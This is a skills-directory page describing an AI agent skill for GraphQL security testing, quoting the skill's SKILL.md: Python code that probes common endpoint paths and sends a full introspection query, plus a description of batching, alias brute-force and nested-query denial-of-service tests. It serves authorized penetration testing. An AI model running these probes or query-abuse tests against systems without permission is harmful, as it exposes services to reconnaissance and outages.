Skip to content
Skillpedia
Testing35k · #6074

performing-graphql-introspection-attack

Helps your agent extract the full schema of GraphQL APIs and test their vulnerabilities.

What it does

This tool helps test the security of APIs that use GraphQL. It tries to discover the entire API structure (how data is organized and what actions can be performed) and looks for flaws that could be exploited.

When to use it

  • ✓When you have permission to test the security of a GraphQL API.
  • ✓To understand all the data types and operations a GraphQL API offers.
  • ✓To check if the API is vulnerable to attacks that overload the system or expose information.

Example of what to ask your AI

“Discover the full GraphQL API schema at 'https://api.example.com/graphql' and look for sensitive fields.”

Want more? Open the sections below.

How to use

The easiest way: copy the message below and paste it into Claude, ChatGPT, Cursor or any AI. It reads the skill and follows the instructions.

Skill link

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/performing-graphql-introspection-attack/SKILL.md

Ready-to-paste message

Use this skill to help me: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/performing-graphql-introspection-attack/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
How it works

The tool sends special requests to the GraphQL API. If the API allows it, it reveals its entire structure. It then analyzes this structure for known weaknesses.

Installation

Easiest way: copy the skill link and paste it into Claude, ChatGPT or Cursor asking it to follow the instructions.

In the terminal (Claude Code, Codex, Cursor), in your project folder:

npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill performing-graphql-introspection-attack

Or download just the file:

curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/performing-graphql-introspection-attack/SKILL.md -o SKILL.md
Technical content (original SKILL.md)

Original text by the author, straight from GitHub.

Performing GraphQL Introspection Attack

When to Use

  • Testing GraphQL endpoints for exposed introspection that reveals the complete API schema
  • Mapping the attack surface of a GraphQL API to identify sensitive queries, mutations, and types
  • Testing for GraphQL-specific vulnerabilities including query depth abuse, batching attacks, and field-level authorization
  • Assessing GraphQL implementations where introspection is disabled but schema can be reconstructed through error messages
  • Evaluating defenses against resource exhaustion through deeply nested or complex GraphQL queries

Do not use without written authorization. Schema extraction and query abuse testing can impact service availability.

Prerequisites

  • Written authorization specifying the GraphQL endpoint and testing scope
  • Burp Suite Professional with InQL extension (v6.1+) for automated schema analysis
  • Python 3.10+ with requests and gql libraries
  • GraphQL Voyager or GraphQL Playground for schema visualization
  • Clairvoyance tool for schema reconstruction when introspection is disabled
  • Wordlists for GraphQL field and type name brute-forcing

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Workflow

Step 1: GraphQL Endpoint Discovery

import requests
import json

TARGET = "https://target-api.example.com"
headers = {"Content-Type": "application/json"}

# Common GraphQL endpoint paths
GRAPHQL_PATHS = [
    "/graphql", "/graphql/", "/gql", "/query",
    "/api/graphql", "/api/gql", "/api/v1/graphql",
    "/v1/graphql", "/v2/graphql",
    "/graphql/console", "/graphql/playground",
    "/graphiql", "/altair", "/explorer",
    "/graph", "/api/graph",
]

# Probe for GraphQL endpoints
for path in GRAPHQL_PATHS:
    # Test with a simple introspection query
    query = {"query": "{ __typename }"}
    try:
        resp = requests.post(f"{TARGET}{path}", headers=headers, json=query, timeout=5)
        if resp.status_code == 200 and ("data" in resp.text or "__typename" in resp.text):
            print(f"[FOUND] GraphQL endpoint: {TARGET}{path}")
            print(f"  Response: {resp.text[:200]}")
    except requests.exceptions.RequestException:
        pass

    # Also test GET method
    try:
        resp = requests.get(f"{TARGET}{path}?query={{__typename}}", timeout=5)
        if resp.status_code == 200 and ("data" in resp.text or "__typename" in resp.text):
            print(f"[FOUND] GraphQL endpoint (GET): {TARGET}{path}")
    except requests.exceptions.RequestException:
        pass

Step 2: Full Introspection Query

GRAPHQL_URL = f"{TARGET}/graphql"
auth_headers = {**headers, "Authorization": "Bearer <token>"}

# Full introspection query to extract complete schema
FULL_INTROSPECTION = {
    "query": """
    query IntrospectionQuery {
      __schema {
        queryType { name }
        mutationType { name }
        subscriptionType { name }
        types {
          ...FullType
        }
        directives {
          name
          description
          locations
          args {
            ...InputValue
          }
        }
      }
    }

    fragment FullType on __Type {
      kind
      name
      description
      fields(includeDeprecated: true) {
        name
        description
        args {
          ...InputValue
        }
        type {
          ...TypeRef
        }
        isDeprecated
        deprecationReason
      }
      inputFields {
        ...InputValue
      }
      interfaces {
        ...TypeRef
      }
      enumValues(includeDeprecated: true) {
        name
        description
        isDeprecated
        deprecationReason
      }
      possibleTypes {
        ...TypeRef
      }
    }

    fragment InputValue on __InputValue {
      name
      description
      type { ...TypeRef }
      defaultValue
    }

    fragment TypeRef on __Type {
      kind
      name
      ofType {
        kind
        name
        ofType {
          kind
          name
          ofType {
            kind
            name
            ofType {
              kind
              name
            }
          }
        }
      }
    }
    """
}

resp = requests.post(GRAPHQL_URL, headers=auth_headers, json=FULL_INTROSPECTION)

if resp.status_code == 200:
    schema = resp.json()

…
FAQ

What is GraphQL?

GraphQL is a way of building APIs (interfaces that allow programs to talk to each other) that is more flexible and efficient than older methods. It allows the API consumer to request exactly the data they need.

What is 'introspection'?

Introspection in GraphQL is a feature that allows a program to ask the API about its own structure. It's like the API can describe itself to the client querying it.

Why do I need authorization?

Testing a system's security without permission is illegal. This tool can cause instability or unavailability if used on unauthorized systems, which is why written permission is mandatory.

Details

Original description by the author

Performs GraphQL introspection attacks that extract the full API schema (types, queries, mutations, subscriptions, field definitions), map the attack surface, test query depth/complexity limits, and exploit GraphQL-specific weaknesses such as batching attacks, alias-based brute force, and nested query DoS. Use for GraphQL security testing, schema enumeration, or GraphQL API penetration testing. '

repo: mukul975/Anthropic-Cybersecurity-Skills

Popularity

GitHub stars
35k
Ranking position
#6074
License
Apache-2.0
Updated
8/31/2026

Is this skill useful?

0

Sign in to vote.

Comments

  • …

More skills from this repository

Similar skills